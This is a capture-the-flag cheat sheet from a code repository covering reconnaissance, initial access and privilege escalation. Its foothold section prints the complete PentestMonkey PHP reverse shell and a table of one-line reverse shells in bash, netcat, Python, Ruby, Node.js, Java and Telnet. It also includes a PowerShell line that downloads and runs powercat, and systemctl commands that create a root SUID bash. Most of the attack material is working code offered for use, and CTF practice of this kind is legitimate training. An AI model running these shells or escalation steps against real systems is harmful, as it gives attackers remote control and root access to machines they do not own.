phil/CTF_CheatSheet

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Phil 81813d648e Added python3 to Spawning a Shell

2022-05-07 21:31:51 +01:00

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CTF_CheatSheet

Stage 1 - Lay of the Land

enumeration

Active Recon
- Nmap
- Masscan
- Network discovery
- RPCClient
- Enum4all
Passive Recon
- Shodan
- Wayback Machine
- The Harvester
List all the subdirectories and files
- Gobuster
- Backup File Artifacts Checker

Nmap

nmap -sV -sC -oA nmap/basic IP

nmap [Scan Type] [Options] {target specification}

* HOST DISCOVERY:
 - -sL: List Scan - simply list targets to scan
 - -sn/-sP: Ping Scan - disable port scan
 - -Pn: Treat all hosts as online -- skip host discovery

* SCAN TECHNIQUES:
 - -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
 - -sU: UDP Scan -sN/sF/sX: TCP Null, FIN, and Xmas scans

* PORT SPECIFICATION:
 - -p : Only scan specified ports
 - Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9

* SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info

* OUTPUT:
-oN/-oX/-oS/-oG : Output scan in normal, XML,Output in the three major formats at once
-v: Increase verbosity level (use -vv or more for greater effect)

* MISC: 
-6: Enable IPv6 scanning 
-A: Enable OS detection, version detection, script scanning, and traceroute

Masscan

masscan IP -p 1-65535 --rate 100 -oX masscan.xml

Option	Discription
-p	Ports to scan, E.g. -p80,8000-8100
--rate=	Rate of Packets-per-Second, E,g --rate=10000 = 10kpps (Too High can cause a Jam)
--banners	-oB : save results of scan in binary format to
-oX	save them as xml in
--open --banners --readscan -oX	read binary scan results in and save them as xml in
--nmap	Options Compatable with Nmap

Compatable Nmap Options

 TARGET SPECIFICATION:
  Can pass only IPv4/IPv6 address, CIDR networks, or ranges (non-nmap style)
  Ex: 10.0.0.0/8, 192.168.0.1, 10.0.0.1-10.0.0.254
  -iL <inputfilename>: Input from list of hosts/networks
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
  --randomize-hosts: Randomize order of hosts (default)
HOST DISCOVERY:
  -Pn: Treat all hosts as online (default)
  -n: Never do DNS resolution (default)
SCAN TECHNIQUES:
  -sS: TCP SYN (always on, default)
SERVICE/VERSION DETECTION:
  --banners: get the banners of the listening service if available. The
    default timeout for waiting to receive data is 30 seconds.
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p 111,137,80,139,8080
TIMING AND PERFORMANCE:
  --max-rate <number>: Send packets no faster than <number> per second
  --connection-timeout <number>: time in seconds a TCP connection will
    timeout while waiting for banner data from a port.
FIREWALL/IDS EVASION AND SPOOFING:
  -S/--source-ip <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
OUTPUT:
  --output-format <format>: Sets output to binary/list/unicornscan/json/ndjson/grepable/xml
  --output-file <file>: Write scan results to file. If --output-format is
     not given default is xml
  -oL/-oJ/-oD/-oG/-oB/-oX/-oU <file>: Output scan in List/JSON/nDjson/Grepable/Binary/XML/Unicornscan format,
     respectively, to the given filename. Shortcut for
     --output-format <format> --output-file <file>
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
MISC:
  --send-eth: Send using raw ethernet frames (default)
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  masscan -v -sS 192.168.0.0/16 10.0.0.0/8 -p 80
  masscan 23.0.0.0/0 -p80 --banners -output-format binary --output-filename internet.scan
  masscan --open --banners --readscan internet.scan -oG internet_scan.grepable

Netdiscover

netdiscover -i <INTERFACE>

DirBuster / GoBuster

  ./gobuster -u http://buffered.io/ -w /secondary/wordlists/more-lists/dirb/ -t 10
  -u url
  -w wordlist
  -t threads

  More subdomain :
  ./gobuster -m dns -w subdomains.txt -u google.com -i

  gobuster -w wordlist -u URL -r -e /secondary/wordlists/more-lists/dirb/

Stage 2 - Foothold

Attacking - Web Reverse Shells

Kali / Parrot OS

cd /usr/share/webshells/

PentestMonkey PHP Reverse Shell

php-reverse-shell - A Reverse Shell implementation in PHP
Copyright (C) 2007 pentestmonkey@pentestmonkey.net

<?php

//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Short One-Line PHP Reverse Shell Injection

php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Built-in Tools

Program	Command
Netcat Listen	ncat -lvnp 4444
Bash	bash -i >& /dev/tcp/IP/4444 0>&1
Bash	bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1'
PHP	php -r '$sock=fsockopen("^IP^",4444);exec("/bin/sh -i <&3 >&3 2>&3");'`
Netcat Connect	nc -e /bin/sh ^IP^ 4444`
Telnet	mknod backpipe p && telnet ^IP^ 4444 0<backpipe
Python	python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
Ruby	ruby -rsocket -e 'exit if fork;c=TCPSocket.new("^IP^","4444");while(cmd=c.gets);IO.popen(cmd,"r"){
Node.js	var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(4444, "^IP^", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
	require('child_process').exec("bash -c 'bash -i >& /dev/tcp/^IP^/4444 0>&1'");`
Java	Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/IP/4444;cat <&5
Java	java.lang.Runtime.exec()` payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html
Powershell	powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ^IP^ -p 4444 -e cmd

Spawning a Shell

To check if the shell is a tty shell, just enter tty command like the following.

tty

not a tty

tty

/dev/pts/0

Here are some commands which will enable you to spawn a tty shell: Python:

This is the most popular method for spawnings a tty shell. The target server should have python or python3 installed.

Methord	Command
* Python	python -c "import pty;pty.spawn('/bin/bash')"
* Python3	python3 -c "import pty;pty.spawn('/bin/bash')"
* Echo:	echo 'os.system('/bin/bash')'
* sh:	/bin/sh -i
* Bash:	/bin/bash -i
* Perl:	perl -e 'exec "/bin/sh";'
* Ruby:	ruby: exec "/bin/sh"
* Lua:	lua: os.execute('/bin/sh')
* From within vi:	:!bash , :set shell=/bin/bash:shell
* From within nmap:	!sh

To make the Shell Usable:

Ctrl+Z
stty raw -echo
fg
export TERM=xterm

Stage 3 - Post Exploitation

Lets Have a Look Around

PEASS-ng

OS	Links
Linux	https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/linpeas.sh
Windows x68	https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe
Windows x86	https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe

Escalate Privileges

SUID

Find SUID Files

Command Discription

find / -user root -perm -4000 2>/dev/null Find SUID Files
SUID Cheatsheet
- systemctl

Command	Discription
find / -user root -perm -4000 2>/dev/null	Find SUID Files

cd /tmp
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "COMMAND HERE"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF

Create a Service that will give /bin/bash a Root SUID

cd /tmp
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cp /bin/bash /tmp/bash;chmod +s /tmp/bash"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF
/tmp/bash -p

Search GTFO Bins for exploits

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